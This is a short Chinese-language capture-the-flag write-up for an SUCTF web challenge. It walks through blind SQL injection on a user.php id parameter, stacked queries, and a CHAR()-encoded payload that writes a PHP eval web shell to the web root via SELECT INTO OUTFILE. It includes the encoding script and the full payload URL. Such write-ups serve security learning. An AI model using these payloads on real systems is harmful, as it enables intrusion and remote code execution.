打开环境,只有登录和注册界面,admin已存在,随便注册一个算了
登录后有两个选项
头像界面就是一个文件上传,象征性的传一张,得到一个文件夹,可以正常访问
用户信息界面还有url的user/user.php?id=2
很明显的sql注入(如果考点是注入的话)
看一眼题目,然后默默的吧id改成1,能看到admin但是没有用
测了一下字符型和整形注入都没回显
脚本不知道为什么没有返回值,浏览器是能成功访问的
?id=1^(ascii(mid(user(),1,1))>0)
就手注了一下user()是suctf@localhost(虽然没什么用)
没思路了就fuzz了一下,这些是能用的符号,函数因为因为语法问题就都没了
既然分号能用,那么可以尝试堆叠注入
这里卡了一会儿,看了wp发现要用 select str into file 写入shell
set @sql=select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘/var/www/html/favicon/shell1.php’;;prepare stmt from @sql;execute stmt;
select以及一些符号被过滤了
用char()绕过
CHAR()解释每个参数n为整数,并返回由这些给出的字符串的字符的代码整数值。如遇NULL值则跳过
给出一个转ascii的脚本
str="select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/favicon/shell1.php';"
for i in str:
print(ord(i),end=",")
payload
?id=1;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,49,46,112,104,112,39,59);prepare query from @sql;execute query;
可以蚁剑,也可以直接用
拿到文件名直接cat就好了